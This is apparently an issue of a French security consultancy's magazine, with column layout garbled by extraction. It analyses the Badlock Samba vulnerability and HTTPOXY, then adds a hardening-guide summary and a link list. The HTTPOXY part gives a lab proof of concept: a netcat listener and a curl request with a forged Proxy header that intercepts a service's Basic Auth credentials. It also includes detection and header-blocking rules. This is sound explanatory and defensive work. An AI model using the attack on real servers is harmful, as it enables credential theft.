+ https://cve.mitre.org/cgi-bin/cvename.cgi?-
name=CVE-2016-3714

+ https://web.nvd.nist.gov/view/vuln/detail?vul-
nId=CVE-2016-3714

+
3714
https://access.redhat.com/security/cve/cve-2016-

+ https://access.redhat.com/security/vulnerabili-
ties/2296071

+https://imagetragick.com/
+https://github.com/ImageTragick/PoCs
+ https://mukarramkhalid.com/imagemagick-imagetra-
gick-exploit/#introduction
64
Ce document est la proprit du cabinet XMCO. Toute reproduction est strictement interdite.
Badlock, la faille qui dchane
les passions
Par Vincent MARQUET

darkday
> Introduction Mais dabord, Samba, quest-ce que cest ? Revenons aux
sources. Le protocole SMB (Server Message Block) fut
En avril 2016, la faille nomme badlock [1] a dchai- dabord dvelopp par IBM dans les annes 1980 dans
n les passions dans le monde de la scurit informatique. le but de pouvoir accder au systme de fichiers dune
Dabord prsente comme une faille critique, sa svrit a autre machine sur le rseau local. Il fut ensuite repris par
finalement t remise en cause. Outre laspect technique, Microsoft au dbut des annes 1990, et renomm en CIFS
la publicit autour de lannonce de la faille a galement (Common Internet File System).
reu son lot de critiques, allant jusqu la cration dun
site parodique [2], et mme des accusations lencontre
du dcouvreur de la faille qui laurait lui-mme introduite D'abord prsente comme une faille cri-
(involontairement) et en aurait ensuite profit afin de faire tique, sa svrit a finalement t remise en
parler de lentreprise qui lemploie au lieu de simplement cause. Outre l'aspect technique, la publicit
la corriger [3]. Dans cet article, nous allons tudier laspect
autour de l'annonce de la faille a galement
technique de cette vulnrabilit, puis nous reviendrons sur
laspect mdiatique qui en a dcoul. reu son lot de critiques

Microsoft reviendra lappellation SMB (version 2) partir


de Windows Vista. En parallle, une implmentation libre
ralise pour les systmes UNIX fut mene sous le nom
Samba, dbute en faisant du reverse engineering sur
des connexions SMB avant quun procs devant lUnion
Europenne noblige Microsoft fournir de la documenta-
tion sur le protocole [4].

En plus du partage de fichiers, SMB permet de faire


des communications entre les processus de machines
Windows diffrentes, via un partage intitul IPC$ (IPC pour
Inter-Process Communication). Il est par exemple possible
de partager des tubes nomms (named pipes) travers
le rseau de cette faon, et dappeler des fonctions Win-
65
Ce document est la proprit du cabinet XMCO. Toute reproduction est strictement interdite.
dows via le protocole RPC (Remote Procedure Call) utilis supports par le client et le serveur) dabaisser la scurit de
au-dessus de SMB [5] (cette utilisation de RPC est alors ap- la connexion et de rcuprer des identifiants de connexion,
pele ncacn_np [6]). Le protocole SMB offre de la scurit qui peuvent tre rutiliss dans une autre connexion afin
deux niveaux : utilisateur, et partage. Au niveau utilisateur, daccder aux ressources ouvertes dans la connexion
celui-ci doit sauthentifier auprs du serveur dauthentifi- lgitime. Bien que provenant dune erreur dimplmenta-
cation, rcuprer un token (UID), et prsenter ce token lors tion dans Samba, cette attaque par abaissement de scurit
de ses requtes ultrieures. Au niveau des partages, il est est galement prsente sous Windows (CVE-2016-0128).
possible de dfinir un partage avec un mot de passe pour
limiter laccs [7]. A noter, dans le cas de ncacn_np (RPC De plus, une autre erreur permet un serveur RPC de
over SMB), lauthentification ne se fait pas au niveau RPC, provoquer le crash dun client en lui faisant allouer une
mais au niveau SMB [8]. Le protocole SMB fonctionne sur le grande quantit de mmoire, et cette faille pourrait
principe du client-serveur, et utilise les ports 139 (SMB over potentiellement mener une excution de code arbitraire. En
NetBios) et 445 (SMB brut). Par exemple, le client va tout loccurrence, le client pourrait tre un serveur win-
dabord faire une requte negprot afin de communi- bindd qui parle un autre serveur RPC. Un attaquant
quer au serveur les versions quil supporte, et le serveur lui pourrait donc exploiter cette faille sil est en position de
rpond avec la version choisie pour la communication. Man-in-the-middle, afin dexcuter du code arbitraire
et davoir les privilges System sous la machine
Ensuite, si besoin, le client effectue une seconde requte compromise. Un intrus pourrait donc obtenir les droits
sesssetupX pour sauthentifier et rcuprer un UID quil administrateur sur une machine et lutiliser pour parler avec
pourra rutiliser pour les connexions suivantes. Enfin, le le contrleur de domaine. La faille (CVE-2016-2118) est une
client effectue une 3e requte tconX pour prciser le attaque par abaissement de protocole via un Man-in-the-
partage sur lequel il veut se connecter. Le client pourra par middle similaire CVE-2015-5370, la diffrence quun
la suite envoyer des requtes pour lire / crire un fichier, attaquant a besoin dtre dj authentifi pour mener
etc. lattaque. Les autres failles rfrences sont galement du
mme type (abaissement de scurit), et sont lies certains
protocoles en particulier. Par exemple, CVE-2016-2112 est
lie LDAP, CVE-2016-2115 ncacn_np (RPC over SMB),
> La faille CVE-2016-2118 MS-SAMR et MS-LSAD.
Dcouverte
En rsum, le fait quune attaque ncessite quun attaquant
soit au bon endroit au bon moment limite la criticit de
La faille a t dcouverte par Stefan Metzmacher plusieurs
la faille, qui a un score CVSS de 7.1, ce qui est considr
mois avant son annonce publique. Elle a t trouve suite
comme une criticit leve, mais pas critique. Les serveurs
des tests de type fuzzing sur Samba, raliss avec le
SMB tant rarement exposs sur internet, il faut plutt
logiciel Defensics de Codenomicon. Ces tests ont montr
sattendre voir des exploitations sur des rseaux locaux.
quen plus de provoquer le crash du service, dans certains
cas une connexion chiffre tablie suite une authenti-
fication se transformait en connexion non chiffre. En r-
Correction
pliquant le test avec limplmentation Windows de SMB,
Metzmacher a constat que cette dernire tait sujette aux
Il fallut environ 10 mois Stefan Metzmacher pour
mmes problmes.
auditer le code de Samba et corriger lensemble des
vulnrabilits. Des correctifs disponibles sur le site officiel
Stefan Metzmacher est un membre de lquipe de d-
de Samba [11] montrent bien la complexit de la rsolution
veloppement du projet Samba [9], limplmentation
des problmes. Par exemple, rien que pour Samba 4.4.0,
open-source pour UNIX du protocole SMB. Il est employ
le correctif [12] comporte 14582 lignes de codes ajoutes
par la socit SerNet GmbH [10], situe en Allemagne, qui
et 5037 lignes supprimes. Au final, ce sont plus de 200
emploie 5 dveloppeurs du projet Samba et qui vend de
patchs individuels qui ont t ncessaires pour fixer la
la maintenance et des services lis Samba. Cest cette
dernire version de Samba, et plus de 400 pour des
entreprise qui a cr le site badlock.org afin de faire
versions antrieures. Pour les versions anciennes (<
parler de la faille, comme nous le verrons dans la partie sur
4.2) qui ne sont plus supportes par lquipe de Samba,
laspect mdiatique.
mais encore supportes par certaines distributions, les
correctifs ont t crits en coordination par des membres de
diverses distributions telles que RedHat ou Suse, ainsi que par
Dtails techniques
certains dveloppeurs de Sernet.
La premire vulnrabilit rfrence porte lidentifiant
CVE-2015-5370 et rpertorie un ensemble de bugs de ges-
Exploitation
tion du protocole RPC dans Samba.
Jusqu aujourdhui, aucun exploit public nest disponible et
La premire faille permet un attaquant en position de lexploitation de la faille dans la nature nest pas confirme
Man-in-the-middle au moment de ltablissement dune bien quelle soit possible. La socit Sernet annonce avoir
connexion Samba (et plus particulirement lors de la plusieurs Preuves de Concept dexploitation de la faille, mais
premire tape, la ngociation des protocoles et versions na pas prvu de les rendre publics dans un futur proche.
66
Ce document est la proprit du cabinet XMCO. Toute reproduction est strictement interdite.
Badlock

> Laspect mdiatique Rfrences

+[1] http://badlock.org/
Les faits

+[2] https://sadlock.org/
La socit Sernet, qui emploie le dveloppeur lorigine
de la dcouverte de la faille, a cr un site web et un logo

+[3] http://securityaffairs.co/wordpress/45579/hacking/
afin de rendre la vulnrabilit visible. Le nom de domaine
badlock.org a t rserv le 11 mars 2016, soit environ un
mois avant la publication des patchs fournis entre autres badlock-windows-samba-flaw.html

+[4] https://www.samba.org/samba/PFIF/
par Sernet et Microsoft (Patch Tuesday du 12 avril).

Le dbat +[5] https://blog.skullsecurity.org/2008/calling-rpc-func-


tions-over-smb

+[6] https://msdn.microsoft.com/en-us/library/
Faire parler de la faille avec du marketing (site
web, communications, tweeter, logo) permet de
mobiliser les consciences et encourage patcher rapide- cc243786.aspx

+[7] https://www.samba.org/cifs/docs/what-is-smb.
ment. Cette manire de procder a cependant t beaucoup
critique puisque beaucoup de personnes ont eu peur que les
informations divulgues par Sernet (notamment le titre html

+[8] http://www.hsc.fr/ressources/articles/win_net_srv/
de la faille, Bad Lock) permettent des attaquants de
dvelopper des exploits avant la sortie des patchs. En rali-
t, il nen a rien t puisque le titre de la vulnrabilit nest ncacn_np_transport.html

+[9] https://www.samba.org/
pas en rapport avec ses dtails techniques. Cependant,
certains considrent que ce battage mdiatique a

+[10] https://www.sernet.de/en/samba/
dtourn les entreprises de priorits plus importantes et
leur a fait perdre beaucoup de temps.

Si les bienfaits de la publicit autour de BadLock et des


failles de manire plus gnrale restent discutables, on ne
+[11] https://www.samba.org/samba/history/security.
html

+[12] https://www.samba.org/samba/ftp/patches/secu-
doute pas que cela a au moins servi Sernet pour se faire
connatre.
rity/samba-4.4.0-security-2016-04-12-final.patch

> Conclusion
La faille BadLock est donc une faille qui, de par la probable
complexit technique pour dvelopper un exploit, et les
conditions assez avances requises pour son exploitation,
na pas men lapocalypse annonce. Esprons que crier
au loup ne devienne pas une habitude, afin que les esprits
restent ractifs le jour o il faudra grer une vraie faille
critique.

67
Ce document est la proprit du cabinet XMCO. Toute reproduction est strictement interdite.
> HTTPOXY une nime faille mdiatise
Oublie pendant 10 ans, la faille HTTPOXY est rapporte aux dveloppeurs dbut juillet. Quelques jours plus tard, elle est
dvoile au grand public accompagne de son logo et son site web.
HTTPOXY provient dun conflit de nom entre deux variables denvironnement (systme et CGI) permettant sous certaines
conditions dintercepter des donnes et de raliser une attaque de type Man-In-The-Middle.

par Jean-Christophe PELLAT

HTTPOXY
Fred Lindgelbach

Jeremy Fitzhardinge
> Introduction baptise environ . Il ny a donc pas de possibilit de
conflit avec le conteneur de la variable denvironnement
systme HTTP_PROXY accessible via os.environ['HTTP_
Quest-ce que CGIet o est-il utilis ? PROXY'] lorsquun en-tte HTTP de la forme Proxy: foo
est reu. En consquence, quelle que soit la bibliothque
CGI ( Common Gateway Interface ) est un standard utilise pour envoyer une requte HTTP, les applications
conu pour gnrer des pages web dynamiques. Pour ce fonctionnant au travers de WSGI ne sont pas vulnrables.
faire, CGI dfinit une interface permettant des serveurs
web HTTP (Apache, nginx, etc.) de communiquer avec des
scripts excutables (ou des fichiers binaires) en vue de
+ CGI:
- Vulnrable sous PHP (en utilisant php-fpm ou mod_php,
gnrer le contenu dune page de manire dynamique, en et le client Guzzle 4+ ou Artax)
fonction des diffrents paramtres (paramtres HTTP, mais - Vulnrable sous Python (CGI-handler ou mod_cgi, et le
galement dautres paramtres techniques comme client requests)
lorigine de la requte). Bien quhistoriquement dvelopp - Vulnrable sous Go (net/httpd/cgi ou mod_cgi, et le client
en Perl, CGI est indpendant de tout langage de dvelop- net/HTTP)
pement: les scripts CGI peuvent tre crit en PHP, Python,
Ruby, Perl, etc.
+ FastCGI:
- Vulnrable sous PHP (HHVM)
- Non vulnrable sous Python
Quels environnements CGI sont vulnrables (scgi, fastc- - Non vulnrable sous Go (net/HTTP/fcgi)
gi, wsgi, etc.)?

La vulnrabilit dpend de lenvironnement CGI, de la bi-


+WSGI: Non vulnrable
bliothque HTTP utilise pour envoyer les requtes, et par Note: Les langages web Microsoft (ex: ASP.net) ne
consquent du langage dans lequel elles sont disponibles. sont pas vulnrables. Cependant si vous utilisez des
modules PHP et des librairies tierces, nous vous re-
Par exemple, dans le cas de WSGI, les valeurs spcifies commandons dappliquer tout de mme les solutions de
par lutilisateur sont places dans une variable ddie contournement.
68
Ce document est la proprit du cabinet XMCO. Toute reproduction est strictement interdite.
> Prsentation de la vulnrabilit La correspondance de len-tte avec les variables denviron-
nement suit une procdure standard:

+Le nom de len-tte HTTP est converti en majuscule ;


La vulnrabilit provient dun conflit de nom entre deux
variables denvironnement (variable HTTP/CGI et variable

+- est remplac par _ ;


systme), et notamment celles lies aux serveurs proxy. En
spcifiant une variable dans la requte HTTP, il est possible

+Le tout est prfix par HTTP_.


de forcer le systme craser le contenu de la variable
denvironnement systme, permettant alors un attaquant
de rediriger une partie du trafic ou de raliser une attaque
de type Man-in-The-Middle. De ce fait notre en-tte cookie sera converti en:HTTP_
COOKIE. Avec len-tte proxy, cela donneraune va-
La faille a t dcouverte et corrige en 2001 sur deux riable denvironnement de typeProtocol-Specific Meta-Va-
applications : la librairie libwww-perl et curl. Ponctuelle- riables:HTTP_PROXY.
ment, diffrents dveloppeurs ont identifi ce problme
dans le cadre de leurs projets respectifs (Nginx, Ruby, etc.), En rsum, nous avons donc deux variables denvironne-
et on prit les mesures ncessaires (ou pas) pour grer mentportant le mme nom :

+
correctement ce conflit.
Une interne au systme HTTP_PROXY spcifiant le
Oublie pendant prs de 10 ans, elle refait surface en 2013 serveur proxy utiliser pour les flux HTTP sortants.

+Une de type Protocol-Specific Meta-Variables HTTP_


et 2015 sur Apache et nginx. Mais ce nest que depuis cette
anne (fin juillet 2016) quelle est dvoile au grand public
et corrige de manire globale. PROXY spcifiant le serveur proxy utilis par le client pour
envoyer sa requte au serveur.
Pour expliquer la vulnrabilit, nous allons prsenter deux
types de variables denvironnement. Ces deux variables, compltement diffrentes, rentrent en
conflit de par leur homonymie.

Les variables denvironnement systme


Le dysfonctionnement: conflit de nom HTTP_PROXY.
Il existe une variable denvironnement interne au systme
appele HTTP_PROXY utilise afin de dfinir les para- Le problme rside dans le fait que CGI ne distingue pas
mtres de proxy HTTP (ou HTTPS) dune application. Ces pa- les deux types de variables. Un script CGI (ou un module,
ramtres seront utiliss par des bibliothques, applications, ou bibliothque) lit la variable denvironnement HTTP_
modules, scripts, y compris CGI, afin de diriger correctement PROXY (celle de type Protocol-Specific Meta-Variables)
le trafic HTTP sortant vers le bon point de sortie. et suppose quelle contient les paramtres de Proxy HTTP
systme . Cette valeur mal interprte changera alors
la manire dont les nouvelles requtes HTTP seront traites
Les variables denvironnement CGI (issues des requtes par le script CGI pour le processus en cours.
HTTP)

Un autre type de variable denvironnement appele Re- Consquences


quest Meta-Variables sera gnr par le serveur HTTP
pour dfinir lenvironnement dexcution du script CGI. Concrtement, un utilisateur malveillant sera en mesure
Par exemple, lorsquune requte est envoye au serveur denvoyer au script CGI vulnrable une requte HTTP dont
HTTP, celui-ci lanalyse, puis stocke certaines informations len-tte contiendra un serveur proxy sous le contrle de
dans des variables destination du script CGI. Il lui trans- lattaquant.
mettra par exemple le type de contenu, le port TCP, la
mthode de requtes (GET ou POST), etc. Ces variables sont Dans les faits:

+
respectivement intitules:
Le serveur HTTP reoit la requte puis excute la proc-
CONTENT_TYPE dure habituelle

+
SERVER_PORT
REQUEST_METHOD Stockage du proxy dans la variable denvironnement
(meta-variable) HTTP_PROXY

+Appel du script CGI. Celui-ci confond la variable denvi-


Dautres informations arbitraires issues de requtes peuvent
tre transmises au script CGI. Celles-ci sont dfinies dans la
RFC CGI sous la forme dune sous-classe baptise Proto- ronnement avec la variable systme et se configure auto-
col-Specific Meta-Variables. matiquement afin dutiliser le serveur proxy spcifi.

Ainsi , lensemble des en-ttes HTTP reus, et ne corres- Et pour finir, si le script effectue des requtes HTTP, alors ces
pondant pas aux en-ttes HTTP classiques est transmis sous requtes transiteront par le serveur proxy de lattaquant qui
cette forme: par exemple le paramtre cookie. sera alors en mesure dintercepter le trafic ou de raliser
une attaque de type Man-in-The-Middle. 69
Ce document est la proprit du cabinet XMCO. Toute reproduction est strictement interdite.
HTTPOXY

> Exploitation

Lexploitation de la vulnrabilit est trs simple. Dans un


premier temps nous allons reproduire la Preuve de Concept
disponible sur le Github dHTTPoxy [2].

Ensuite nous mettrons en uvre une Preuve de Concept


plus avance, en situation semi-relle, o nous rcupre-
rons un mot de passe et des informations potentiellement
sensibles.

Preuve de Concept PHP issue dHTTPOXY.ORG Lorsque nous effectuons une requte vers le site vitrine,
celui va sauthentifier sur le micro service distant et rcup-
Il suffit de tlcharger, crer limage Docker et lancer lins- rer des ressources. Notre but ici est dexploiter HTTPOXY en
tance injectant notre proxy dans le site vitrine, une fois ceci fait
nous allons alors intercepter la requte queffectuera le site
git clone https://github.com/httpoxy/php- vitrine au micro service.
fpm-httpoxy-poc.git
cd php-fpm-httpoxy-poc/ Ce qui nous permettra ainsi de rcuprer les identifiants
docker build -t fpm-guzzle-proxy . (nom dutilisateur et mot de passe) utiliss.
docker run -d -p 80:80 --name fpm-test-
instance fpm-guzzle-proxy

Nous mettons en place notre pseudo proxy avec netcat

nc -l -p 12345

Nous envoyons une requte forge afin de dclencher la


vulnrabilit

curl -H 'Proxy: 172.16.10.170:12345/'


http://127.0.0.1/

La requte transite par notre serveur proxy


Linfrastructure repose sur trois containers Docker, lun tant
le proxy, les deux autres faisant office de serveurs.
Preuve de Concept avance
Lanons la cration de nos containers Docker via la com-
Nous allons ici raliser une Preuve de Concept sur une archi- mande docker-compose:
tecture web simpliste contenant une machine hbergeant
un site, et une seconde machine demandant une authen-
tification et hbergeant un potentiel micro service tiers et
diffrentes ressources.
Une fois ceci fait, listons nos containers:

70
Ce document est la proprit du cabinet XMCO. Toute reproduction est strictement interdite.
Site vitrine:

Le site vitrine est bas sur le dockerfile de la Preuve de


Concept PHP mise disposition par HTTPOXY.org. Elle repose
sur un fichier index.php qui envoie une requte au micro
service travers un environnement CGI vulnrable (Guzzle). + 2. Envoi de la requte vers le site vitrine conte-
nant le serveur proxy dattaque dans len-tte HTTP (ici
Voil le fichier index.php: 174.17.0.4) :

Le site vitrine va alors rcuprer len-tte puis la stocker


dans la variable denvironnement HTTP_PROXY. CGI va
alors la confondre avec sa variable denvironnement sys-
tme portant le mme nom et se configurer, pour la tche
en cours, avec le serveur proxy dattaque. Cette action aura
pour rsultat de faire transiter les requtes manant du site
Micro service : vers la passerelle et ainsi raliser une attaque de type Man-
In-The-Middle. Voyons a de suite:
Se base sur un serveur web lger utilisant Flask (Python) et
attend une authentification HTTP. En fonction de la russite Il nous suffit de rcuprer les donnes ayant transit par le
ou non de lauthentification, les pages page-secret. serveur proxy
html (access granted) ou error.html seront retour-
nes.

Voil le contenu du fichier auth.py: Au sein du fichier outfile.txt, on aperoit la requte effec-
tue par le site vers le micro service. Le champ Authoriza-
tion nous intresse ici, car il contient lidentifiant et le mot
de passe encod en base64.

Avant de le dcoder, nous allons vrifier quil est correct.


Pour ceci nous allons simplement analyser la rponse
que le micro service nous a donne. On imagine quelque
chose comme correct pour des identifiants bons, et
incorrect pour le cas inverse.

Le micro service nous a rpondu et affiche une page


contenant access granted . Par consquent le couple
identifiant et mot de passe que le site a transmis est
correct. Nous pouvons ainsi le dcoder et rcuprer sa
valeur.

Linfrastructure tant en place, le proxy dattaque aussi,


procdons lexploitation:

+ 1. Rcupration de ladresse IP du container contenant


le serveur proxy 71
Ce document est la proprit du cabinet XMCO. Toute reproduction est strictement interdite.
HTTPOXY

Lexploitation de cette faille laisse-t-elle des traces? > Remdiations


Oui! Lexploitation laisse potentiellement des traces. Len- Comment savoir si mon systme est vulnrable ?
voi de len-tte HTTP malveillant pourra tre stock dans
les fichiers de log du serveur web. Ladresse IP du proxy de Afin de diagnostiquer la vulnrabilit, installez temporai-
lattaquant pourra galement y tre prsente. rement le script Test.cgi suivant, et rendez-le excutable :

Cependant les logs applicatifs standards ne stockent pas #!/bin/sh


len-tte proxy, mais il est possible de les rajouter au echo "Content-Type:text/plain"
cas par cas en fonction des serveurs. echo ""
echo "HTTP_PROXY='$HTTP_PROXY'"
Exmple pour le serveur nginx:

# define 'proxylog' format in the http{} Appelez ensuite le script en effectuant une requte HTTP
context: utilisant len-tte Proxy vulnrable:
log_format proxylog '$remote_addr - $re-
mote_user [$time_local] ' curl -H Proxy: AFFECTED http://my-ser-
'"$request" $status ver-name/cgi-bin/test.cgi
$body_bytes_sent '
'"$http_referer"
"$http_user_agent" ' Si vous voyez la sortie suivante, votre serveur n'est pas af-
'"$http_proxy"'; fect:

# log requests with a Proxy header using HTTP_PROXY="
the 'proxylog' format
access_log /var/log/nginx/badactor.log
proxylog if=$http_proxy; En revanche si vous voyez la sortie suivante, ou tout autre
sortie, votre serveur peut tre affect :

De plus les requtes de retour transitant par le proxy de lat- HTTP_PROXY='AFFECTED'


taquant peuvent laisser une trace si une supervision rseau
est en place. Dans ce cas, il est ncessaire dappliquer lune des solutions
de contournement ci-dessous.

Existe-t-il des codes dexploitation disponibles


publiquement ? Comment sen protger ?

ce jour aucun code dexploitation na t publi. Pour vous protger de la vulnrabilit, il suffit de mettre
jour votre serveur ainsi que dappliquer les solutions de
contournement ci-dessous.

Quelles sont les solutions de contournement ?

La meilleure solution de contournement est de bloquer les


en-ttes proxy des requtes HTTP, et ce avant quelles
atteignent votre application.

Voil les procdures suivre pour les environnements les


plus connus:

+NGINX/FastCGI
fastcgi_param HTTP_PROXY "";
72
Ce document est la proprit du cabinet XMCO. Toute reproduction est strictement interdite.
+Apache (mod_cgi, mod_php)
Par lutilisation de mod_headers(au sein dun .htaccess):
Rfrences

RequestHeader unset Proxy early +[1] https://httpoxy.org/


+[2] https://github.com/httpoxy
+Apache (mod_security) +[3] https://access.redhat.com/security/vulnerabilities/
SecRule &REQUEST_HEADERS:Proxy "@gt 0" httpoxy
"id:1000005,log,deny,msg:'httpoxy de-
nied'" +[4] https://www.nginx.com/blog/mitigating-the-htt-
poxy-vulnerability-with-nginx/

+ Varnish +[5] https://www.digitalocean.com/community/tu-


torials/how-to-protect-your-server-against-the-httpoxy-
sub vcl_recv { vulnerability

[...] + [6] https://www.apache.org/security/asf-httpoxy-res-


ponse.txt
unset req.http.proxy;

}
[...]
+[7] https://blog.cloudflare.com/cloudflare-sites-protec-
ted-from-httpoxy/

+ OpenBSD relayd
http protocol httpfilter {
match request header remove "Proxy"
}

+Microsoft IIS (avec PHP ou un environnement CGI)


appcmd set config /section:requestfilte-
ring /+requestlimits.headerLimits.[hea-
der='proxy',sizelimit='0']

Vous pourrez trouver plus dinformations sur les proc-


dures indiques ladresse suivante https://httpoxy.
org/#fix-now [1]

> Conclusion
La faille requiert beaucoup de conditions afin dtre relle-
ment exploite (systme utilisant une version vulnrable
de CGI et un script CGI mettant lui-mme des requtes
HTTP vers un autre serveur; ce qui est dautant plus rare)

Le CERT-XMCO vous recommande cependant dappliquer les


derniers correctifs de scurit disponibles pour votre envi-
ronnement, ou minima les solutions de contournement
dtailles ci-dessus.

73
Ce document est la proprit du cabinet XMCO. Toute reproduction est strictement interdite.
Le whitepaper du mois
par Bastien CACACE

Kamal Hamid
> LANSSI publie un nouveau rf- +Supervision
rentiel dexigences de scurit LANSSI rappelle cependant que les produits mentionns
dans ce guide nont fait lobjet daucune valuation ou certi-
LANSSI a publi ses recommandations pour les architec- fication de scurit.
tures bases sur VMware vSphere ESXi. Le but de ce do-
cument est de rduire autant que possible la surface dat- Le guide est disponible ladresse suivante :
taque des solutions suivantes : VMware vSphere ESXi 5.5 http://www.ssi.gouv.fr/uploads/2016/07/np_vmwareesx_
(ESX), VMware vCenter Server 5.5 et VMware vSphere Client notetech_v1.pdf
5.5.

Le document aborde les thmatiques suivantes :

+Mutualisation des ressources


+Maintien en condition de scurit
+Dsactivation de composants non utiliss
+Scurit de ladministration
+Scurisation des accs
+Scurit du rseau
+Scurit des machines virtuelles
+Stockage NAS/SAN
74
+Audit et journalisation

Ce document est la proprit du cabinet XMCO. Toute reproduction est strictement interdite.
Le meilleur du web

Cette rubrique vous permettra de faire un tour > Slection darticles ddis aux
dhorizon des articles scurit les plus intres- outils et aux tests d'intrusion
sants !

Stphane AVI > Twitter


Slection de comptes Twitter

75
Ce document est la proprit du cabinet XMCO. Toute reproduction est strictement interdite.
Ce document est la proprit du cabinet XMCO. Toute reproduction est strictement interdite.
Le meilleur du web

> Outils / Pentest

Les Meilleures Pratiques pour l'analyse https://technet .microsoft .com/en-us/library/


Forensic d'aprs Microsoft mt484109.aspx#Best-practices-for-forensic-analysis

http://www.contextis.com/resources/blog/rdp-replay-
Outil rejouer les sessions RDP depuis un
code-release/
fichier PCAP

http://digital-forensics.sans.org/blog/2015/03/30/
Vol de token sous Windows monitoring-for-delegation-token-theft

Plug-in pour Burp pour lire les caches des https://blog.silentsignal.eu/2016/05/06/ios-http-


applications iOS (pentest mobile) cache-analysis-for-abusing-apis-and-forensics/

https://www.pentestpartners.com/blog/an-interes-
Devenir Administrateur du domaine via les
ting-route-to-domain-admin-iscsi/
partages iSCSI

Utiliser les scripts Nessus pour exploiter une http://www.shellntel.com/blog/2016/6/7/weaponi-


vulnrabilit zing-nessus

Extraire les mots de passe Windows depuis http://woshub.com/how-to-extract-windows-user-


Hiberfil.sys passwords-from-hiberfil-sys/

https://www.ernw.de/download/newsletter/ERNW_
Audit de la technologie DirectAcess de
Newsletter_53_MS_DA_Security_Assessment_Signed.
Microsoft pdf

https://blog.ahmednabeel.com/from-zero-to-system-
on-full-disk-encrypted-windows-system-part-2/
Comment exploiter la vulnrabilit MS16-072
https://www.slideshare.net/slideshow/embed_code/
key/pRiu6l1TJx0p4g

https://github.com/JackOfMostTrades/bluebox

76
76
Ce
Cedocument
documentest
estlalaproprit
propritdu
ducabinet
cabinetXMCO.
XMCO.Toute
Toutereproduction
reproductionest
eststrictement
strictementinterdite.
interdite.

we deliver security expertise

> Slection des comptes Twitter suivis


par le CERT-XMCO :

Christian Spth https://twitter.com/CheariX

Carlos Perez https://twitter.com/Carlos_Perez

Andrew Luke https://twitter.com/Sw4mp_f0x

Adam https://twitter.com/_xpn_

b33f https://twitter.com/FuzzySec

David Cowen https://twitter.com/HECFBlog

Tal Be'ery https://twitter.com/TalBeerySec

Casey Smith https://twitter.com/subTee

RTFM https://twitter.com/redteamfieldman

Adamb https://twitter.com/Hexacorn

77
Ce document est la proprit du cabinet XMCO. Toute reproduction est strictement interdite.
Romain MAHIEU
> Remerciements
Photographie

royalty free
https://www.flickr.com/photos/99783447@N07/9433864982

RadishTM :
https://www.flickr.com/photos/radishtm/14889276036

Chris Potter :
https://www.flickr.com/photos/86530412@N02/8186946980

Matt Berger :
https://www.flickr.com/photos/berger787/13852888945

Jeremy Fitzhardinge :
https://www.flickr.com/photos/goop/41111081

darkday :
https://www.flickr.com/photos/drainrat/16372533931

Kiarras :
https://www.flickr.com/photos/kiarras_marinero/8455661691

LActuScu est un magazine numrique rdig et dit par les consultants du cabinet
de conseil XMCO. Sa vocation est de fournir des prsentations claires et dtailles sur le
thme de la scurit informatique, et ce, en toute indpendance. Tous les numros de
lActuScu sont tlchargeables ladresse suivante :
78 https://www.xmco.fr/actusecu/

Ce document est la proprit du cabinet XMCO. Toute reproduction est strictement interdite.
www.xmco.fr

69 rue de Richelieu
75002 Paris - France

tl. +33 (0)1 47 34 68 61


fax. +33 (0)1 43 06 29 55
mail. info@xmco.fr
web www.xmco.fr

SAS (Socits par Actions Simplifies) au capital de 38 120 - Enregistre au Registre du Commerce de Paris RCS 430 137 711
Code NAF 6202A - NSIRET : 430 137 711 00056 - N TVA intracommunautaire : FR 29 430 137 711

79
Ce document est la proprit du cabinet XMCO. Toute reproduction est strictement interdite.

Вам также может понравиться